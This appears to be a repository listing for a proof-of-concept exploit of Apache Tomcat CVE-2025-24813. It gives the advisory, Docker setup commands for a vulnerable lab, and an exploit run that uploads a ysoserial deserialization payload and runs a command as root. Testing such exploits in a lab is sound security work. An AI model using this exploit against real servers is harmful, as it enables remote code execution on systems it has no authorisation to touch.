CVE-2025-24813 PoC — Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT

Source

https://github.com/u238/Tomcat-CVE_2025_24813

Associated Vulnerability

Title:Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT (CVE-2025-24813)
Description:Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads - attacker knowledge of the names of security sensitive files being uploaded - the security sensitive files also being uploaded via partial PUT If all of the following were true, a malicious user was able to perform remote code execution: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - application was using Tomcat's file based session persistence with the default storage location - application included a library that may be leveraged in a deserialization attack Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.

Description

A playground to test the RCE exploit for tomcat CVE-2025-24813

Readme

Tomcat CVE-2025-24813 playground
================================
Exploit was forked from https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md (did not work for me)

Content
=======
1. *ROOT.war* is a minimal app with one servlet including apache-common-3.1 and spawing a session
2. *ysoserial.jar* taken original from ysoserial repo (https://github.com/frohoff/ysoserial)
3. *Dockerfile* to build a vulnerable installation
4. *CVE_2025_24813.py* actual exlploit

Setup
=====
Build and run the vulnerable tomcat installation
```
$ docker build -t tomcat-cve-2025-24813 .
$ docker run --name tomcat-cve-2025-24813 -it -d -p 8080:8080 tomcat-cve-2025-24813
```

Exploit
=======
```
$ python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN'  http://localhost:8080

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗      ██████╗ ██╗  ██╗ █████╗  ██╗██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝      ╚════██╗██║  ██║██╔══██╗███║╚════██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║      ███████╗     ██║╚█████╔╝ ██║██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝      ╚══════╝     ╚═╝ ╚════╝  ╚═╝╚═════╝
                          ---=== TOMCAT RCE PLAYGROUND by u238 ===---

[*] Session ID: u238
[+] Server is writable via PUT: http://localhost:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/PWN
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8080/u238.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
```

Check (after exploit)
=====
```
$ podman exec tomcat-cve-2025-24813 cat /tmp/PWN
uid=0(root) gid=0(root) groups=0(root)
```

File Snapshot


 [4.0K]  /data/pocs/e6c3d8b9209bd3f6f66d61879a321bb4f92c97c8
├── [ 10K]  CVE_2025_24813.py
├── [ 420]  Dockerfile
├── [1.0K]  LICENSE
├── [3.0K]  README.md
├── [ 12M]  ROOT.war
└── [ 57M]  ysoserial.jar

0 directories, 6 files

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